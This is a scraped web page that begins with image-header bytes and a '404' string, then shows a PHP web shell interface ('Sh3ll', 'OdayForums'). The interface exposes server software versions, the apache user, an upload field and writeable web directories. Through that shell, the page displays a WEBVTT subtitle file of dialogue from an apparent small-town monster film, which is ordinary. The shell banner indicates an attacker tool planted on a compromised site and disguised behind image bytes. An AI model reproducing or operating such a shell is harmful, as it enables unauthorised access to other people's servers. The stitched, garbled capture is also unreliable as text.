����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/01-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/01-2019/5c4d6486d4b66-1548575878.vtt
WEBVTT

1
00:03:40.484 --> 00:03:44.613
<i>That's a first down.
Husky ball at the 35-yard line.</i>

2
00:03:53.331 --> 00:03:54.909
Hut!

3
00:04:02.299 --> 00:04:07.210
<i>Touchdown! Paul Taylor.
17-yard pass from Terry Stokes.</i>

4
00:04:18.774 --> 00:04:22.607
Paul, look at her, man. Look at her!
I think she wants your body.

5
00:04:22.820 --> 00:04:24.943
You got to ask her out, Paul.

6
00:04:25.198 --> 00:04:26.692
Isn't she dating Pulver?

7
00:04:26.783 --> 00:04:30.033
Yeah, but that's going nowhere.
Take a shot, for Christ's sake.

8
00:04:30.328 --> 00:04:32.286
Hey, I'm going to ask her out.

9
00:04:32.372 --> 00:04:33.368
Bullshit!

10
00:04:33.623 --> 00:04:35.248
When, when, when?

11
00:04:35.334 --> 00:04:37.575
-When the time is right.
-Yeah, right.

12
00:04:37.794 --> 00:04:39.123
Timing's everything.

13
00:04:43.801 --> 00:04:46.553
Hit him! Hit him!

14
00:04:48.389 --> 00:04:50.512
Yeah! All right!

15
00:04:50.600 --> 00:04:52.094
<i>Wildcat fumble.</i>

16
00:04:52.226 --> 00:04:54.552
<i>Husky ball. First and ten.</i>

17
00:05:17.503 --> 00:05:20.706
<i>7-yard pass complete to Paul Taylor.</i>

18
00:05:28.473 --> 00:05:32.055
Meg, you have any plans this evening?

19
00:06:34.917 --> 00:06:36.032
Go!

20
00:06:36.878 --> 00:06:37.791
Go!

21
00:06:39.172 --> 00:06:40.203
Go!

22
00:07:37.274 --> 00:07:39.563
Looks like the game
put you out of business.

23
00:07:39.652 --> 00:07:42.273
Don't worry.
When they're through screaming...

24
00:07:42.405 --> 00:07:44.231
...they'll be in here like a flood.

25
00:07:44.323 --> 00:07:45.734
More iced tea?

26
00:07:45.825 --> 00:07:47.070
Please.

27
00:07:47.451 --> 00:07:51.152
It's good that this town's got up
on its hindlegs about something.

28
00:07:52.290 --> 00:07:54.579
It takes people's minds off their troubles.

29
00:07:54.959 --> 00:07:57.248
It's been a lean year for most folk.

30
00:07:57.879 --> 00:08:02.257
The ski season is about to start.
There will be tourists.

31
00:08:05.804 --> 00:08:09.932
You know, there's a new band
out at the Tin Palace tonight.

32
00:08:10.851 --> 00:08:11.930
Is that right?

33
00:08:12.019 --> 00:08:13.644
Supposed to be pretty good.

34
00:08:13.896 --> 00:08:15.224
That's nice.

35
00:08:16.482 --> 00:08:18.475
You like country music?

36
00:08:22.530 --> 00:08:24.772
Herb, are you asking me out?

37
00:08:26.117 --> 00:08:29.403
Yeah, well, I guess I am.

38
00:08:31.539 --> 00:08:33.283
I don't know.

39
00:08:34.501 --> 00:08:35.781
I'm kind of stuck here.

40
00:08:36.503 --> 00:08:38.911
You know, I've got to earn a living.

41
00:08:39.589 --> 00:08:42.840
Yeah, it must be tough trying to get away.

42
00:08:44.887 --> 00:08:46.049
Shoot!

43
00:08:46.764 --> 00:08:49.302
George, here they come.

44
00:08:54.689 --> 00:08:56.397
Is that my check?

45
00:08:59.193 --> 00:09:03.274
If you do get any free time to yourself...

46
00:09:03.406 --> 00:09:05.944
...that's my number there
down at the station.

47
00:09:08.370 --> 00:09:09.532
Okay.

48
00:09:10.872 --> 00:09:12.948
Okay. One at a time.

49
00:09:51.164 --> 00:09:53.572
Flagg. Congratulations.

50
00:09:54.835 --> 00:09:55.950
For what?

51
00:09:56.170 --> 00:09:58.459
I hear you have a birthday coming up.

52
00:09:58.756 --> 00:10:00.499
No more juvie hall, right?

53
00:10:00.716 --> 00:10:01.997
Yeah, right.

54
00:10:02.134 --> 00:10:05.219
You mess up now and you're in the majors.

55
00:10:07.515 --> 00:10:09.424
I'll see you around, Flagg.

56
00:10:29.204 --> 00:10:31.197
Moss, what's happening?

57
00:10:31.707 --> 00:10:33.498
You look like hell.

58
00:10:33.709 --> 00:10:36.283
It's a fashion statement, man.

59
00:10:36.379 --> 00:10:40.328
The only statement those clothes
have got to make is, "l look like hell."

60
00:10:40.883 --> 00:10:44.502
My bike's broken down at Elkin's Grove.
I was thinking...

61
00:10:44.721 --> 00:10:47.472
...maybe I could borrow your ratchet set?

62
00:10:48.224 --> 00:10:52.554
The Summit's got me overhauling
six damn Skidoos, three Cats...

63
00:10:52.646 --> 00:10:55.184
...and two flatbed snowmakers, by Monday.

64
00:10:56.483 --> 00:10:59.484
What's the hurry?
It must be 70 degrees out there.

65
00:10:59.695 --> 00:11:01.901
It's lndian summer, boy.

66
00:11:04.408 --> 00:11:07.243
Very soon winter will be tear-arseing
through this town...

67
00:11:07.369 --> 00:11:08.567
...with no apologies.

68
00:11:08.662 --> 00:11:11.414
Come on. It barely pissed snow
the last couple of years.

69
00:11:11.499 --> 00:11:13.871
This whole town's ready to fold.

70
00:11:13.960 --> 00:11:16.201
This year's going to be different.

71
00:11:16.295 --> 00:11:17.327
Is that right?

72
00:11:17.630 --> 00:11:19.089
Take my word.

73
00:11:19.173 --> 00:11:21.925
You'll wish your piece of shit excuse
for a motorcycle...

74
00:11:22.051 --> 00:11:24.091
...was one of these sweet little rigs.

75
00:11:26.973 --> 00:11:29.299
So how about the ratchet?

76
00:11:31.645 --> 00:11:34.930
All right. Maybe I'll put in
a couple of hours over the weekend.

77
00:11:35.023 --> 00:11:37.431
Maybe that'll lighten things up a bit.

78
00:11:40.195 --> 00:11:42.484
There are twelve sockets in that set.

79
00:11:42.990 --> 00:11:44.069
Twelve.

80
00:11:44.200 --> 00:11:46.773
They better all be there when I get it back.

81
00:11:46.994 --> 00:11:49.320
You got it, buddy. You got it.

82
00:11:50.998 --> 00:11:52.706
Thanks a lot, Moss.

83
00:11:53.376 --> 00:11:54.751
I owe you one.

84
00:11:54.877 --> 00:11:56.870
You owe me too damn many.

85
00:12:43.387 --> 00:12:44.585
Holy cow!

86
00:13:02.031 --> 00:13:04.071
Lend me $5 just until tomorrow, okay?

87
00:13:04.158 --> 00:13:05.072
What for?

88
00:13:05.243 --> 00:13:08.114
You know, you're not the only one
with a date tonight.

89
00:13:08.204 --> 00:13:11.905
I'm going to score with Vicki tonight.
I want to invest in some protection.

90
00:13:12.000 --> 00:13:13.578
Let's go. It's closing time.

91
00:13:13.877 --> 00:13:15.336
All right, here.

92
00:13:16.380 --> 00:13:17.375
Make it quick.

93
00:13:20.425 --> 00:13:23.759
Look, pal. Give me a pack of Trojans,
and a Binaca spray.

94
00:13:33.689 --> 00:13:35.184
Scott Jeskey.

95
00:13:35.358 --> 00:13:36.271
Reverend.

96
00:13:36.359 --> 00:13:38.019
Good game today.

97
00:13:39.612 --> 00:13:41.688
Thanks. Thanks, Reverend.

98
00:13:45.660 --> 00:13:46.775
How are you?

99
00:13:46.870 --> 00:13:50.784
The hay fever's acting up a little bit,
but I'll live.

100
00:13:52.417 --> 00:13:54.955
Haven't seen you
at the Sunday services lately.

101
00:13:55.462 --> 00:13:58.084
You want the ribbed, or the regular?

102
00:14:00.884 --> 00:14:03.126
Ribbed, I guess.

103
00:14:04.513 --> 00:14:06.553
They're not for me, you know.

104
00:14:07.308 --> 00:14:08.683
They're for my friend.

105
00:14:10.353 --> 00:14:14.766
There's this sort of naive girl
that he's planning on....

106
00:14:15.858 --> 00:14:16.973
Well, you know.

107
00:14:18.069 --> 00:14:20.774
I insisted that he take precautions.

108
00:14:21.656 --> 00:14:23.566
Why doesn't he pay for them?

109
00:14:23.909 --> 00:14:28.037
I had to drag him down here as it is.
The guy is totally irresponsible.

110
00:14:28.121 --> 00:14:29.995
Come on, Scott. What's the hold up?

111
00:14:30.082 --> 00:14:31.956
I can't keep this girl waiting.

112
00:14:32.376 --> 00:14:35.959
The boy doesn't need condoms.
He needs a muzzle.

113
00:16:21.323 --> 00:16:23.897
Kevin! Don't eat with your face.

114
00:16:24.034 --> 00:16:26.870
Mum, we're in a hurry.
We're going bowling with Anthony.

115
00:16:26.996 --> 00:16:28.870
And then to the movies.

116
00:16:29.791 --> 00:16:30.786
What movie?

117
00:16:30.917 --> 00:16:33.669
Garden Tool Massacre.
It's your basic slice-and-dice.

118
00:16:33.795 --> 00:16:34.909
Your basic what?

119
00:16:35.004 --> 00:16:38.539
This guy in a hockey mask,
he chops up a few teenagers.

120
00:16:39.009 --> 00:16:41.844
But don't worry,
there's no sex or anything bad.

121
00:16:41.928 --> 00:16:44.170
They won't let you kids
into a movie like that.

122
00:16:44.639 --> 00:16:46.965
No problem. My brother's an usher.

123
00:16:47.976 --> 00:16:50.135
No. Absolutely not.

124
00:16:50.604 --> 00:16:52.063
Mum, come on!

125
00:16:52.147 --> 00:16:56.097
Kevin! I will not have you seeing
that kind of trash, and that's final.

126
00:16:56.193 --> 00:16:57.522
Do you understand?

127
00:16:57.987 --> 00:16:59.267
Yes, ma'am.

128
00:16:59.363 --> 00:17:01.937
Mum, have you seen my pink sweater?

129
00:17:02.325 --> 00:17:04.116
It's on the hamper, honey.

130
00:17:04.202 --> 00:17:06.609
I meant to talk to you about that.

131
00:17:07.205 --> 00:17:09.032
-Why did you do that?
-What did I do?

132
00:17:09.249 --> 00:17:11.574
We had a little accident.

133
00:17:14.629 --> 00:17:16.088
What happened?

134
00:17:16.172 --> 00:17:18.130
It got mixed up in the wash.

135
00:17:18.425 --> 00:17:20.003
Interesting look.

136
00:17:20.302 --> 00:17:22.045
Why don't you wear
my cashmere sweater?

137
00:17:22.137 --> 00:17:24.462
-Are you serious?
-Sure.

138
00:17:24.681 --> 00:17:26.923
Oh, my God! That's him.

139
00:17:31.730 --> 00:17:32.845
What do you want?

140
00:17:33.232 --> 00:17:35.272
Hi. I'm here to see Meg.

141
00:17:36.068 --> 00:17:37.397
What for?

142
00:17:38.779 --> 00:17:40.060
Just to see her.

143
00:17:40.239 --> 00:17:42.612
-ls she home?
-Just a minute.

144
00:17:49.791 --> 00:17:51.202
I'm terribly sorry.

145
00:17:51.334 --> 00:17:53.410
You must be Paul. I'm Meg's mother.

146
00:17:53.503 --> 00:17:54.701
Nice to meet you, ma'am.

147
00:17:54.796 --> 00:17:57.667
Come on in. Meg will be right down.

148
00:18:01.303 --> 00:18:02.548
Where are you going?

149
00:18:02.638 --> 00:18:04.963
-I'm sleeping over at Eddie's, remember?
-Right.

150
00:18:05.307 --> 00:18:07.977
But you're not going anywhere
without your jacket.

151
00:18:08.060 --> 00:18:09.768
Mum, it's boiling out.

152
00:18:09.854 --> 00:18:13.437
It's October. It's night-time.
You're wearing your jacket.

153
00:18:15.485 --> 00:18:17.477
-Stupid coat.
-No, here, let me.

154
00:18:18.446 --> 00:18:20.403
Bye, honey. Enjoy yourself.

155
00:18:20.490 --> 00:18:21.355
Bye, Mum.

156
00:18:21.616 --> 00:18:22.647
Bye, Eddie.

157
00:18:22.742 --> 00:18:24.071
Oh, yeah.

158
00:18:26.705 --> 00:18:28.033
Won't you sit down?

159
00:18:29.207 --> 00:18:30.583
Excuse me.

160
00:18:33.545 --> 00:18:34.743
Hi, Paul.

161
00:18:36.048 --> 00:18:38.087
Are you surviving my family so far?

162
00:18:38.175 --> 00:18:40.666
-Yeah. You look great.
-Thank you.

163
00:18:40.761 --> 00:18:41.792
You want to go?

164
00:18:41.887 --> 00:18:44.758
I just want you to meet my dad.
It'll just take a second.

165
00:18:44.849 --> 00:18:46.011
Sure.

166
00:18:50.855 --> 00:18:53.856
Daddy, I'd like you to meet my friend, Paul.

167
00:19:00.073 --> 00:19:01.318
Ribbed.

168
00:20:13.650 --> 00:20:14.931
Hey!

169
00:20:21.950 --> 00:20:25.533
I'm really sorry about my dad.
I've never seen him like that before.

170
00:20:25.663 --> 00:20:27.122
That's okay.

171
00:20:27.623 --> 00:20:29.995
It was just a misunderstanding.

172
00:20:31.586 --> 00:20:35.500
I've made better first impressions.
That's for sure.

173
00:20:36.007 --> 00:20:37.881
No harm done, I guess.

174
00:20:37.967 --> 00:20:39.046
No, wrong.

175
00:20:39.636 --> 00:20:41.759
Scott Jeskey is going to die.

176
00:20:47.477 --> 00:20:48.936
Paul, watch out!

177
00:20:53.817 --> 00:20:56.604
Flagg! Jesus Christ.
What did you do to him?

178
00:20:56.695 --> 00:20:59.067
I'm not the one
who bounced him off my car, pal!

179
00:20:59.156 --> 00:21:02.323
-You ran him into the road!
-Stop it! Let's get him to a doctor.

180
00:21:02.410 --> 00:21:05.494
Watch out. He's got some kind of
corrosive shit on his hands.

181
00:21:07.081 --> 00:21:11.660
Come on. Take it easy, mister.
We'll get you some help. All right?

182
00:21:19.177 --> 00:21:22.095
The sky. It fell from the sky.

183
00:21:22.264 --> 00:21:23.378
What's he saying?

184
00:21:23.473 --> 00:21:25.762
He's in shock. Let's just go.

185
00:21:27.895 --> 00:21:29.472
Get in the car.

186
00:21:31.732 --> 00:21:32.681
What for?

187
00:21:32.775 --> 00:21:35.859
There'll be a lot of explaining to do,
and you're part of it.

188
00:21:35.945 --> 00:21:39.859
Are you going to get in the car,
or am I going to make you get in?

189
00:21:40.741 --> 00:21:44.786
What's the matter? You worried
about a little insurance claim...

190
00:21:44.912 --> 00:21:46.739
...on Daddy's car?

191
00:21:47.373 --> 00:21:49.283
Maybe I will come along...

192
00:21:49.584 --> 00:21:51.992
...just to make sure
you don't blame it all on me.

193
00:21:52.087 --> 00:21:54.375
Are you two finished?

194
00:22:07.686 --> 00:22:09.809
Whenever you're ready.

195
00:22:21.075 --> 00:22:23.068
-Excuse me, nurse.
-One moment, please.

196
00:22:34.715 --> 00:22:35.913
How may I help you?

197
00:22:36.091 --> 00:22:38.878
We've had a car accident.
This guy needs a doctor.

198
00:22:38.969 --> 00:22:42.338
He has something on his hand, too.
Some kind of acid or something.

199
00:22:44.141 --> 00:22:45.766
Does he have Blue Cross?

200
00:22:46.060 --> 00:22:48.598
-I don't know.
-Medical insurance of any kind?

201
00:22:48.729 --> 00:22:50.224
I don't believe this shit.

202
00:22:50.356 --> 00:22:52.764
We don't even know who the guy is.

203
00:22:53.860 --> 00:22:56.433
The doctor's with another patient
right now.

204
00:22:59.199 --> 00:23:02.615
Could you put this gentleman
in Room 3, please?

205
00:23:04.454 --> 00:23:06.447
You'll have to fill these out.

206
00:23:06.540 --> 00:23:07.571
Okay.

207
00:23:13.422 --> 00:23:15.830
Take it easy, old dude.

208
00:23:16.008 --> 00:23:18.760
These guys are going to fix you right up.

209
00:23:28.980 --> 00:23:30.807
Where are you going?

210
00:23:31.566 --> 00:23:34.104
These people don't give a shit
about explanations.

211
00:23:34.569 --> 00:23:37.487
If you need me,
you know where to find me.

212
00:24:01.347 --> 00:24:03.636
I bet you've had better first dates.

213
00:24:04.434 --> 00:24:05.928
I don't mind.

214
00:24:07.854 --> 00:24:09.514
You want a soda?

215
00:24:09.898 --> 00:24:13.101
That would be great. Something diet.

216
00:24:38.720 --> 00:24:43.263
Absolutely. At this point
the prognosis is very positive.

217
00:24:44.142 --> 00:24:49.219
In cases like this, the question is always
the quality of physical therapy.

218
00:24:50.565 --> 00:24:54.148
The follow-up to any operation is
to a great extent....

219
00:25:08.376 --> 00:25:10.664
Doctor, come in here quickly!

220
00:25:10.920 --> 00:25:14.371
-I'm with a patient--
-There's a man dying in here! Hurry!

221
00:25:16.050 --> 00:25:17.842
Excuse me a moment.

222
00:25:24.684 --> 00:25:26.724
Is this the hand injury?

223
00:25:39.450 --> 00:25:40.944
What is this?

224
00:25:41.619 --> 00:25:43.243
That thing on his hand.

225
00:25:47.708 --> 00:25:48.704
Nurse!

226
00:25:58.929 --> 00:26:02.049
-Sheriff's Department.
-Get me the Sheriff! It's an emergency.

227
00:26:04.935 --> 00:26:06.098
Paul?

228
00:26:14.695 --> 00:26:15.810
Geller speaking.

229
00:26:15.905 --> 00:26:17.565
Sheriff, this is Paul Taylor.

230
00:26:17.657 --> 00:26:18.985
Paul, what's wrong?

231
00:26:19.116 --> 00:26:22.651
I'm at the Arborville Hospital.
An old man's just been killed down here.

232
00:26:22.829 --> 00:26:24.738
-You said "killed"?
-Yes, sir.

233
00:26:24.956 --> 00:26:27.827
You sit tight. I'll be right down.
Who else is involved?

234
00:26:27.959 --> 00:26:29.287
I'm with Meg Penny.

235
00:26:29.377 --> 00:26:31.833
-And Brian Flagg was here earlier.
-Flagg?

236
00:26:31.921 --> 00:26:33.582
Where is he now?

237
00:26:42.641 --> 00:26:43.839
Paul?

238
00:26:50.858 --> 00:26:52.352
Paul!

239
00:27:21.098 --> 00:27:24.052
I did see it, Dad. It killed Paul.

240
00:27:24.810 --> 00:27:26.091
Sheriff.

241
00:27:26.354 --> 00:27:28.642
How about it, Herb?
Can we take her home?

242
00:27:28.773 --> 00:27:30.647
You may as well, Tom.

243
00:27:30.733 --> 00:27:33.058
Make sure she gets a good sleep.

244
00:27:35.572 --> 00:27:39.272
We're not going to get anything
out of her tonight. She's hysterical.

245
00:27:39.617 --> 00:27:42.784
I have to call Paul Taylor's folks.
They haven't heard from him.

246
00:27:43.496 --> 00:27:47.031
Let's face it, Bill. They're not going to.

247
00:27:49.753 --> 00:27:53.454
You get that to Sacramento tonight.
And I want the autopsy pronto...

248
00:27:53.549 --> 00:27:55.292
...not next week.

249
00:28:04.519 --> 00:28:05.929
Jesus wept!

250
00:28:06.729 --> 00:28:08.307
Herb, you okay?

251
00:28:09.899 --> 00:28:11.275
Taylor was a good kid.

252
00:28:14.446 --> 00:28:17.019
I want the son of a bitch who did this.

253
00:28:25.207 --> 00:28:27.283
I think we've already got him.

254
00:28:47.981 --> 00:28:50.851
Scott! Cut it out. I told you.

255
00:28:51.318 --> 00:28:54.568
Come on, Vicki. You're wearing my ring.

256
00:28:54.988 --> 00:28:58.322
That makes you my girl.
Doesn't that count for something?

257
00:29:02.413 --> 00:29:06.825
What are all those lights down there?
Isn't that the hospital?

258
00:29:07.293 --> 00:29:09.784
It's probably a promotional gimmick.

259
00:29:10.171 --> 00:29:12.294
They're giving away free tonsillectomies.

260
00:29:13.883 --> 00:29:17.133
I think that you're about ready
for another one of my famous...

261
00:29:17.220 --> 00:29:19.426
-...cherry coolers.
-I think I've had enough.

262
00:29:19.514 --> 00:29:21.756
Nonsense. You've never had enough.

263
00:29:34.238 --> 00:29:37.856
My very own blend
of special imported liquors.

264
00:30:31.130 --> 00:30:32.162
Okay.

265
00:30:34.259 --> 00:30:37.675
It's like a steam bath in here.
Here's your drink, Vicki.

266
00:30:53.571 --> 00:30:56.323
Hot as a dog out there tonight.

267
00:31:05.667 --> 00:31:06.781
That's a....

268
00:31:09.087 --> 00:31:11.293
That's a nice blouse.

269
00:31:15.469 --> 00:31:16.963
Nice material.

270
00:31:18.138 --> 00:31:20.012
It must be hot, though.

271
00:31:22.726 --> 00:31:25.514
I'll just undo one of these for you.

272
00:31:26.647 --> 00:31:28.058
That's better, huh?

273
00:31:29.108 --> 00:31:30.519
Oh, no?

274
00:31:31.027 --> 00:31:32.402
Oh, well.

275
00:31:32.528 --> 00:31:33.773
I'll just...

276
00:31:34.697 --> 00:31:36.489
...undo another one then.

277
00:31:40.078 --> 00:31:41.572
Okay.

278
00:32:02.017 --> 00:32:03.512
Oh God, Vicki!

279
00:32:04.311 --> 00:32:05.391
No!

280
00:32:29.630 --> 00:32:32.465
I shouldn't have let her
go out with the son of a bitch...

281
00:32:32.591 --> 00:32:33.920
...in the first place.

282
00:32:34.051 --> 00:32:37.337
Lower your voice.
That poor boy's probably dead.

283
00:32:39.098 --> 00:32:41.304
I want to know
what happened out there tonight.

284
00:32:41.392 --> 00:32:43.848
Whatever it was
that Flagg kid was behind it.

285
00:32:43.978 --> 00:32:46.516
It's about time they nailed
that little psychopath.

286
00:32:46.689 --> 00:32:50.141
His arse is going to fry this time.
Believe me.

287
00:33:09.088 --> 00:33:10.748
Here, take this.

288
00:33:10.840 --> 00:33:12.002
I don't want it.

289
00:33:12.091 --> 00:33:14.499
Come on, honey.
You have to get some sleep.

290
00:33:22.518 --> 00:33:24.345
That's my good girl.

291
00:33:26.815 --> 00:33:29.935
Now, just let it alone.

292
00:33:31.027 --> 00:33:34.811
I'm sure the police will have
this whole thing settled by the morning.

293
00:33:37.743 --> 00:33:39.023
Come on.

294
00:33:53.801 --> 00:33:54.916
Mum?

295
00:34:00.266 --> 00:34:02.888
You don't believe me either, do you?

296
00:34:05.230 --> 00:34:06.808
You're home now.

297
00:34:07.357 --> 00:34:08.602
You're safe.

298
00:34:10.027 --> 00:34:12.268
That's all that matters.

299
00:35:15.679 --> 00:35:19.677
Look at him. He's too stupid
to know how much trouble he's in.

300
00:35:20.809 --> 00:35:22.718
Why don't you wise up?

301
00:35:23.312 --> 00:35:26.479
I told you everything.
I'm getting tired of hearing myself talk.

302
00:35:26.565 --> 00:35:29.139
We're not boring you, are we?
A bright kid like you?

303
00:35:29.443 --> 00:35:30.985
Am I under arrest?

304
00:35:31.070 --> 00:35:33.027
Because if I am, I want a lawyer.

305
00:35:33.239 --> 00:35:34.614
Now he wants a lawyer.

306
00:35:34.699 --> 00:35:38.317
That's right. If you're not booking me,
I'd like to leave.

307
00:35:38.536 --> 00:35:40.694
Either way, I want you out of my face.

308
00:35:40.830 --> 00:35:42.241
Oh yeah, hard-arse?

309
00:35:42.457 --> 00:35:45.374
I'm in your face to stay.
What are you going to do about it?

310
00:35:48.129 --> 00:35:49.292
Go ahead, hit me!

311
00:35:51.091 --> 00:35:52.205
Go ahead.

312
00:36:02.186 --> 00:36:04.641
Any luck with his mama?

313
00:36:04.730 --> 00:36:06.390
I can't seem to find her.

314
00:36:06.524 --> 00:36:08.066
That's not unusual, is it?

315
00:36:08.150 --> 00:36:10.641
She takes vacations
with Johnnie Walker Red...

316
00:36:10.736 --> 00:36:13.144
...and anyone else
who happens to be around.

317
00:36:13.281 --> 00:36:16.151
We could call his dad,
if anyone knew who he was.

318
00:36:16.242 --> 00:36:18.531
Call a shrink. I'm a broken man.

319
00:36:18.786 --> 00:36:20.863
You think this is a joke?

320
00:36:31.049 --> 00:36:32.627
Turn him loose.

321
00:36:33.677 --> 00:36:36.347
We got eyewitnesses
placing him at the crime scene.

322
00:36:36.430 --> 00:36:40.891
We got no motive. No evidence.
He hasn't got a drop of blood on him.

323
00:36:41.977 --> 00:36:45.512
-Flagg's a punk. But he's no killer.
-I think it's a mistake.

324
00:36:45.606 --> 00:36:50.352
Your objection is duly noted.
Now turn him loose. We got work to do.

325
00:36:52.530 --> 00:36:53.728
Go on.

326
00:37:00.455 --> 00:37:01.914
Take a hike.

327
00:37:12.801 --> 00:37:15.589
Brian! I need to talk to you.

328
00:37:23.271 --> 00:37:25.310
What the hell are you doing here?

329
00:37:25.606 --> 00:37:28.145
Look, I came down to bail you out.

330
00:37:31.071 --> 00:37:33.229
What do you think they are,
Neiman-Marcus?

331
00:37:33.323 --> 00:37:34.603
They don't take plastic.

332
00:37:34.908 --> 00:37:37.909
Look, I appreciate the thought.
Now, go home, okay?

333
00:37:39.037 --> 00:37:40.947
I need to talk to you.

334
00:37:41.999 --> 00:37:44.916
I'm sorry about your boyfriend. I really am.

335
00:37:45.419 --> 00:37:50.128
I'm tired and hungry, and I'm not
in the mood for conversation, okay?

336
00:38:00.393 --> 00:38:02.849
George. Frannie. Qué pasa?

337
00:38:02.937 --> 00:38:05.179
Hey, hotshot, we're closed.

338
00:38:05.523 --> 00:38:09.307
Come on. I've been dumped on all day.
Give me a break.

339
00:38:09.402 --> 00:38:12.736
What's the matter, dear,
tough day at the office?

340
00:38:13.949 --> 00:38:16.238
Well, grill's shut down.
How about a sandwich?

341
00:38:16.410 --> 00:38:17.785
Beautiful.

342
00:38:31.467 --> 00:38:33.424
You don't give up, do you?

343
00:38:35.013 --> 00:38:36.423
I need your help.

344
00:38:36.848 --> 00:38:39.553
For three years in school
you haven't said shit to me.

345
00:38:40.018 --> 00:38:43.850
All of a sudden you need my help
and we're best friends, right?

346
00:38:44.731 --> 00:38:47.898
Nobody believes me
about what happened tonight.

347
00:38:49.277 --> 00:38:50.357
What did happen?

348
00:38:50.612 --> 00:38:52.356
You were there. You saw.

349
00:38:52.698 --> 00:38:56.363
All I saw was an old man
with a funky hand. That's all I saw.

350
00:38:59.205 --> 00:39:00.200
Thanks.

351
00:39:00.498 --> 00:39:02.122
Can I get you something, hon?

352
00:39:02.333 --> 00:39:03.613
No, thank you.

353
00:39:10.341 --> 00:39:15.336
The thing on that man's hand killed him
and then it killed Paul.

354
00:39:15.805 --> 00:39:19.139
And whatever it is, it's getting bigger.

355
00:39:19.643 --> 00:39:22.015
Is that what you told the cops?

356
00:39:29.778 --> 00:39:32.863
Do you mind if I ask you
a personal question?

357
00:39:33.866 --> 00:39:36.867
I know you're the homecoming queen type
and all, but...

358
00:39:37.620 --> 00:39:40.241
...are you strung out on something,
or what?

359
00:39:43.042 --> 00:39:44.620
You're just the same.

360
00:39:46.170 --> 00:39:48.329
What are you talking about?

361
00:39:48.506 --> 00:39:52.172
You act like you're different.
You put on this big show.

362
00:39:52.594 --> 00:39:56.674
But you're just like everyone else
in this town. You're full of shit, Flagg!

363
00:39:57.849 --> 00:39:59.308
Wait a second!

364
00:40:02.020 --> 00:40:05.436
Calm down, all right? I'm sorry, okay?

365
00:40:07.401 --> 00:40:09.358
Come on, sit down.

366
00:40:17.537 --> 00:40:19.079
You okay?

367
00:40:22.667 --> 00:40:24.576
You want something to eat?

368
00:40:25.003 --> 00:40:27.838
Here. Go ahead, it'll make you feel better.

369
00:40:29.299 --> 00:40:30.793
Unbelievable.

370
00:40:33.428 --> 00:40:36.216
It's just that I've never heard
you say "shit" before.

371
00:40:36.390 --> 00:40:37.967
What was that like for you?

372
00:40:50.238 --> 00:40:53.192
We're coming up empty here.
Should we head to the foothills?

373
00:40:53.282 --> 00:40:56.034
Negative.
I'd rather have you patrolling the streets.

374
00:40:56.119 --> 00:40:59.239
We'll start that at first light,
when the state police come in.

375
00:40:59.372 --> 00:41:00.451
Ten-four.

376
00:41:00.540 --> 00:41:02.118
You look exhausted.

377
00:41:02.208 --> 00:41:04.664
It's been a long night. Thank you.

378
00:41:04.753 --> 00:41:06.876
It's going to be even longer.

379
00:41:07.714 --> 00:41:10.170
That's the truth.

380
00:41:11.093 --> 00:41:14.794
One deputy and six volunteers.
I feel like the one-legged man...

381
00:41:14.930 --> 00:41:17.006
...in an arse-kicking contest.

382
00:41:17.933 --> 00:41:22.145
You're doing all you can, Herb.
This isn't your normal, Friday night drunk.

383
00:41:22.855 --> 00:41:23.934
Something wrong?

384
00:41:25.066 --> 00:41:27.438
I'm just worried about a friend of mine.

385
00:41:28.820 --> 00:41:32.403
I guess I'm worried
about everybody tonight.

386
00:41:37.078 --> 00:41:38.110
Dessert.

387
00:41:38.205 --> 00:41:41.574
Fran. That sandwich busted me.

388
00:41:41.875 --> 00:41:46.253
On the house. Last two pieces.
Eat up, or I chuck it in the garbage.

389
00:41:47.047 --> 00:41:48.292
Thanks.

390
00:42:10.655 --> 00:42:12.031
Shit.

391
00:42:23.335 --> 00:42:25.043
Here. I'll get that.

392
00:42:25.838 --> 00:42:27.118
I'll get it.

393
00:42:27.256 --> 00:42:29.747
-Here. Knock yourself out.
-Well, thanks.

394
00:43:14.138 --> 00:43:15.301
What is this?

395
00:43:37.371 --> 00:43:38.865
Don't touch him!

396
00:43:55.223 --> 00:43:56.931
Fran, come on!

397
00:44:02.689 --> 00:44:04.267
In the freezer!

398
00:45:02.460 --> 00:45:04.002
Hear anything?

399
00:45:08.049 --> 00:45:09.378
I'm okay.

400
00:45:16.975 --> 00:45:20.179
I'm going to get us out of here. I promise.

401
00:45:31.157 --> 00:45:34.193
Come on, answer!

402
00:45:38.915 --> 00:45:41.323
Your call can not be completed as dialled.

403
00:45:41.418 --> 00:45:44.253
Please check the number, and dial again.

404
00:46:04.525 --> 00:46:06.020
-Sheriff's Station.
-Help me!

405
00:46:06.110 --> 00:46:08.103
Get me Herb. Get Herb Geller.

406
00:46:08.237 --> 00:46:10.361
He went down to the diner.

407
00:46:30.719 --> 00:46:32.095
You ready?

408
00:46:47.904 --> 00:46:48.900
Okay.

409
00:47:16.517 --> 00:47:19.803
Great. I killed the strawberry jam.

410
00:47:22.649 --> 00:47:24.226
Let's get out of here.

411
00:47:24.317 --> 00:47:26.393
The front door is locked.

412
00:47:28.405 --> 00:47:31.240
That's okay. I got a key.

413
00:48:08.947 --> 00:48:11.865
Merciful God.

414
00:48:37.519 --> 00:48:38.598
Hello?

415
00:48:40.355 --> 00:48:41.684
Is anybody...

416
00:48:42.441 --> 00:48:43.816
...hurt?

417
00:49:51.346 --> 00:49:52.841
We need to see the Sheriff!

418
00:49:52.931 --> 00:49:54.591
I don't know where he is.

419
00:49:54.683 --> 00:49:56.890
Sheriff's Department. Please hold.

420
00:49:57.186 --> 00:49:58.466
What about Briggs?

421
00:49:58.562 --> 00:50:01.314
I can't raise anybody.
All I'm getting is static.

422
00:50:01.649 --> 00:50:04.222
Sheriff's Department. Please hold.

423
00:50:04.318 --> 00:50:07.818
The last I heard from the Deputy,
he was on his way up to Elkin's Grove.

424
00:50:08.406 --> 00:50:10.066
Elkin's Grove.

425
00:50:10.283 --> 00:50:13.734
That's where I found the old man.
Come on, let's go.

426
00:50:38.688 --> 00:50:41.179
It looks like he left in a hurry.

427
00:50:50.325 --> 00:50:52.780
